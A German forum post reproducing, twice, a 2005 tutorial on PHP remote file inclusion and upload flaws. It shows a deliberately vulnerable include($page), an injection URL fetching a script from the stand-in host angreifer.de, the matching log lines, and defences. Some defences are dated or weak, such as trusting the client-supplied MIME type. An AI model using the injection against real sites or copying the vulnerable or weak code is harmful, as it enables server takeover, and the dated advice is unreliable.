ZAM
Inventar
- Mitglied seit
- 28.09.1997
- Beiträge
- 3.374
- Reaktionspunkte
- 1.501
Eine Abhandlung über das Thema: PHP-Injection
von Ch. Zamora (c)2005
-------------------------------------------------------------------------------
Vorwort
-------------------------------------------------------------------------------
Das ist mal wieder ein Beitrag zum Thema:
"Es gibt zuviele unbegabte Hobby Scriptkiddies im Internet."
Dies sind jene, die das Internet mit vermeindlich professionellen Werken zupflastern, wo sich hinter dem standard Photoshop Design nichts weiter verbirgt, als ein eher schlechter Hyprid Code, unübersichtlich vollgemüllt mit HTML, ohne echte Klassenstrukturen.
Btw.: Obwohl eine recht simple Sache ist solche Exploits zu entwickeln, werde ich in dieser Ausführung keine Beispiele dafür nennen oder zeigen.
-------------------------------------------------------------------------------
1. Was genau ist PHP-Injection: (Kurzform)
-------------------------------------------------------------------------------
Unsauber geschriebene PHP Projekte bieten meist sicherheitslücken die es entfernten Angreifern ermöglichen Ihre eigenen Scripte direkt auf dem Webserver des Opfers auszuführen.
Dies ermöglicht Ihnen teils die komplette Kontrolle über den Angegriffenen Webserver zu erhalten bzw. Daten auszlesen und zu manipulieren.
-------------------------------------------------------------------------------
2. Der Fernzugriff (Variante 1)
-------------------------------------------------------------------------------
Durch unsaubere PHP-Scripte mit direkten Includes wird es einem Angreifer ermöglicht, seine eigenen Scripte auf dem Webserver des Opfers auszuführen.
-------------------------------------------------------------------------------
2.1 Beispiel: Grundaufbau der PHP Datei: (Simple)
-------------------------------------------------------------------------------
<?
include ($page);
?>
bzw.
<?
$fp = fopen($page, 'r');
?>
-------------------------------------------------------------------------------
2.2 Variante 1 - So funktionierts
-------------------------------------------------------------------------------
normaler URL-Aufruf
http://www.seite.de/index.php?page=xyz.html
Hier wird einfach eine Seite xyz in die PHP Datei included und angezeigt.
Injection URL-Aufruf:
http://www.seite.de/index.php?page=http://www.angreifer.de/script.php|txt|usw.
Das Script welches auf der angreifer.de domain läuft, wird direkt included. Die darin befindlichen Befehle beziehen sich dann aber auf den Server von seite.de .
Dabei ist die Endung des aufzurufenden Scriptes vollkommen egal. Es handelt sich hier um sogenannte Exploits.
-------------------------------------------------------------------------------
2.3 Variante 1 - Angriffsversuche erkennen:
-------------------------------------------------------------------------------
Schaut in das Server Logfile des Webservers:
statt:
127.0.0.1 - - [11/May/2005:11:39:17 +0200] "GET /index.php?page=xyz.html HTTP/1.1" 200 49
steht dann ca. folgendes:
127.0.0.1 - - [11/May/2005:11:39:17 +0200] "GET /index.php?page=http://www.angreifer.de/script.php|txt|usw HTTP/1.1" 200 49
Dies macht es vor allem auch einfach den Angreifer zurück zu verfolgen.
Leider gestaltet sich das etwas komplizierter bei der Ablage dieser Exploits auf Freespace Accounts.
-------------------------------------------------------------------------------
2.4 Variante 1 - Schutzmaßnahmen:
-------------------------------------------------------------------------------
Es gibt Möglichkeiten dies zu verhindern:
1. Man darf keinesfalls direkte Includes verwenden, wie im oberen Beispiel, welche Dateien direkt ausführen und es ermöglichen Pfade extern anzugeben.
2. PHP und der jeweilige Webserver bieten einige Optionen die den Aufruf von Fremdverlinkungen ausserhalb der laufenden Domain und der Documentroot verhindert können.
Direct im Script:
@ini_set('allow_url_fopen', 0); // Dies ist aber nur ein direkter Schutz für den fopen include.
php.ini:
allow_url_fopen = Off
safe_mode = On
Es gibt noch weitere Einstellungsmöglichkeiten um sich einigermaßen abzusichern.
Ich kann nur empfehlen sich die PHP Safe Optionen mal genauer anzuschauen oder sich an Möglichkeit 2 zu halten, denn nicht jeder Scripter hat auch die Möglichkeit seinen Account/Webserver/Webspace auch zu konfigurieren.
Achtet einfach darauf wie ihr die per GET und POST übergebenen Variablen handled.
Unter anderem sollte man auch darauf achten mit welchen Rechten und Benutzern die jeweiligen Dateien und der Webserver arbeiten, sofern man alles selbst konfigurieren kann.
Beispiel für die Simple Version bezogen auf das Beispiel des Grundaufbaus:
http://www.seite.de/index.php?page=xyz
<?
$page = (@ini_get(register_globals)==1) ? $_GET[page] : $HTTP_POST_VARS[page];
$file = @sprintf('%s.php', $page);
if(@file_exists($file))
include($file);
?>
-------------------------------------------------------------------------------
3 Das Upload Problem (Variante 2)
-------------------------------------------------------------------------------
Manche Seiten bieten die Möglichkeit eigene Dateien und/oder Bilder anzubieten, bzw hochzuladen.
Beim Upload dieser Dateien werden diese meistens nicht auf gültige Dateitypen überprüft, so dass ein Angreifer mit der Berechtigung zum Upload eine beliebige PHP-Datei hochladen und direkt unter dem Upload Verzeichnis ausführen kann.
-------------------------------------------------------------------------------
3.1 Variante 2 - Angriffsversuche erkennen
-------------------------------------------------------------------------------
Wenn man sie erkannt hat ist es meist schon zu spät. Man sollte schon beim erstellen des Scriptes darauf achten was man tut.
-------------------------------------------------------------------------------
3.2 Variante 2 - Schutzmaßnahmen:
-------------------------------------------------------------------------------
Der eine Weg ist die Konfiguration des Webservers. Hierbei gibt es die Möglichkeit per config das upload Verzeichnis Scriptfrei zu halten indem man das ausführen von scripten spezifisch dafür untersagt. Das ist auch per htaccess möglich je nach den Möglichkeiten die der Provider bietet.
Weg 2 wäre das Überprüfen des Mime Types.
PHP bietet direkt in der $_FILES/$HTTP_POST_FILES Variable den Wert 'type'. Dieser gibt den Mime-Type der jeweils hochgeladenen Datei zurück. Mit einer Liste von erlaubten Dateitypen kann man das Script somit absichern.
Der andere Weg wäre das temporäre ablegen der hoch geladenen Datei, öffnen des Headers und die Bitwise Controle des Dateikopfes. Das ist aber für die meisten Hobby-Scriptern zu kompliziert.
-------------------------------------------------------------------------------
Nachwort
-------------------------------------------------------------------------------
Die Aufgeführten Code-Beispiele sind nicht professionell sondern beruhen nur auf den simpelsten PHP Strukturen, geeignet für Anfänger und jene Gruppierungen die ich im Vorwort beschrieben habe.
-------------------------------------------------------------------------------
ps.: Ob Peter Huth das auch weiss? MUAHAHAHAHAHHAHAHAHAHHA
von Ch. Zamora (c)2005
-------------------------------------------------------------------------------
Vorwort
-------------------------------------------------------------------------------
Das ist mal wieder ein Beitrag zum Thema:
"Es gibt zuviele unbegabte Hobby Scriptkiddies im Internet."
Dies sind jene, die das Internet mit vermeindlich professionellen Werken zupflastern, wo sich hinter dem standard Photoshop Design nichts weiter verbirgt, als ein eher schlechter Hyprid Code, unübersichtlich vollgemüllt mit HTML, ohne echte Klassenstrukturen.
Btw.: Obwohl eine recht simple Sache ist solche Exploits zu entwickeln, werde ich in dieser Ausführung keine Beispiele dafür nennen oder zeigen.
-------------------------------------------------------------------------------
1. Was genau ist PHP-Injection: (Kurzform)
-------------------------------------------------------------------------------
Unsauber geschriebene PHP Projekte bieten meist sicherheitslücken die es entfernten Angreifern ermöglichen Ihre eigenen Scripte direkt auf dem Webserver des Opfers auszuführen.
Dies ermöglicht Ihnen teils die komplette Kontrolle über den Angegriffenen Webserver zu erhalten bzw. Daten auszlesen und zu manipulieren.
-------------------------------------------------------------------------------
2. Der Fernzugriff (Variante 1)
-------------------------------------------------------------------------------
Durch unsaubere PHP-Scripte mit direkten Includes wird es einem Angreifer ermöglicht, seine eigenen Scripte auf dem Webserver des Opfers auszuführen.
-------------------------------------------------------------------------------
2.1 Beispiel: Grundaufbau der PHP Datei: (Simple)
-------------------------------------------------------------------------------
<?
include ($page);
?>
bzw.
<?
$fp = fopen($page, 'r');
?>
-------------------------------------------------------------------------------
2.2 Variante 1 - So funktionierts
-------------------------------------------------------------------------------
normaler URL-Aufruf
http://www.seite.de/index.php?page=xyz.html
Hier wird einfach eine Seite xyz in die PHP Datei included und angezeigt.
Injection URL-Aufruf:
http://www.seite.de/index.php?page=http://www.angreifer.de/script.php|txt|usw.
Das Script welches auf der angreifer.de domain läuft, wird direkt included. Die darin befindlichen Befehle beziehen sich dann aber auf den Server von seite.de .
Dabei ist die Endung des aufzurufenden Scriptes vollkommen egal. Es handelt sich hier um sogenannte Exploits.
-------------------------------------------------------------------------------
2.3 Variante 1 - Angriffsversuche erkennen:
-------------------------------------------------------------------------------
Schaut in das Server Logfile des Webservers:
statt:
127.0.0.1 - - [11/May/2005:11:39:17 +0200] "GET /index.php?page=xyz.html HTTP/1.1" 200 49
steht dann ca. folgendes:
127.0.0.1 - - [11/May/2005:11:39:17 +0200] "GET /index.php?page=http://www.angreifer.de/script.php|txt|usw HTTP/1.1" 200 49
Dies macht es vor allem auch einfach den Angreifer zurück zu verfolgen.
Leider gestaltet sich das etwas komplizierter bei der Ablage dieser Exploits auf Freespace Accounts.
-------------------------------------------------------------------------------
2.4 Variante 1 - Schutzmaßnahmen:
-------------------------------------------------------------------------------
Es gibt Möglichkeiten dies zu verhindern:
1. Man darf keinesfalls direkte Includes verwenden, wie im oberen Beispiel, welche Dateien direkt ausführen und es ermöglichen Pfade extern anzugeben.
2. PHP und der jeweilige Webserver bieten einige Optionen die den Aufruf von Fremdverlinkungen ausserhalb der laufenden Domain und der Documentroot verhindert können.
Direct im Script:
@ini_set('allow_url_fopen', 0); // Dies ist aber nur ein direkter Schutz für den fopen include.
php.ini:
allow_url_fopen = Off
safe_mode = On
Es gibt noch weitere Einstellungsmöglichkeiten um sich einigermaßen abzusichern.
Ich kann nur empfehlen sich die PHP Safe Optionen mal genauer anzuschauen oder sich an Möglichkeit 2 zu halten, denn nicht jeder Scripter hat auch die Möglichkeit seinen Account/Webserver/Webspace auch zu konfigurieren.
Achtet einfach darauf wie ihr die per GET und POST übergebenen Variablen handled.
Unter anderem sollte man auch darauf achten mit welchen Rechten und Benutzern die jeweiligen Dateien und der Webserver arbeiten, sofern man alles selbst konfigurieren kann.
Beispiel für die Simple Version bezogen auf das Beispiel des Grundaufbaus:
http://www.seite.de/index.php?page=xyz
<?
$page = (@ini_get(register_globals)==1) ? $_GET[page] : $HTTP_POST_VARS[page];
$file = @sprintf('%s.php', $page);
if(@file_exists($file))
include($file);
?>
-------------------------------------------------------------------------------
3 Das Upload Problem (Variante 2)
-------------------------------------------------------------------------------
Manche Seiten bieten die Möglichkeit eigene Dateien und/oder Bilder anzubieten, bzw hochzuladen.
Beim Upload dieser Dateien werden diese meistens nicht auf gültige Dateitypen überprüft, so dass ein Angreifer mit der Berechtigung zum Upload eine beliebige PHP-Datei hochladen und direkt unter dem Upload Verzeichnis ausführen kann.
-------------------------------------------------------------------------------
3.1 Variante 2 - Angriffsversuche erkennen
-------------------------------------------------------------------------------
Wenn man sie erkannt hat ist es meist schon zu spät. Man sollte schon beim erstellen des Scriptes darauf achten was man tut.
-------------------------------------------------------------------------------
3.2 Variante 2 - Schutzmaßnahmen:
-------------------------------------------------------------------------------
Der eine Weg ist die Konfiguration des Webservers. Hierbei gibt es die Möglichkeit per config das upload Verzeichnis Scriptfrei zu halten indem man das ausführen von scripten spezifisch dafür untersagt. Das ist auch per htaccess möglich je nach den Möglichkeiten die der Provider bietet.
Weg 2 wäre das Überprüfen des Mime Types.
PHP bietet direkt in der $_FILES/$HTTP_POST_FILES Variable den Wert 'type'. Dieser gibt den Mime-Type der jeweils hochgeladenen Datei zurück. Mit einer Liste von erlaubten Dateitypen kann man das Script somit absichern.
Der andere Weg wäre das temporäre ablegen der hoch geladenen Datei, öffnen des Headers und die Bitwise Controle des Dateikopfes. Das ist aber für die meisten Hobby-Scriptern zu kompliziert.
-------------------------------------------------------------------------------
Nachwort
-------------------------------------------------------------------------------
Die Aufgeführten Code-Beispiele sind nicht professionell sondern beruhen nur auf den simpelsten PHP Strukturen, geeignet für Anfänger und jene Gruppierungen die ich im Vorwort beschrieben habe.
-------------------------------------------------------------------------------
ps.: Ob Peter Huth das auch weiss? MUAHAHAHAHAHHAHAHAHAHHA
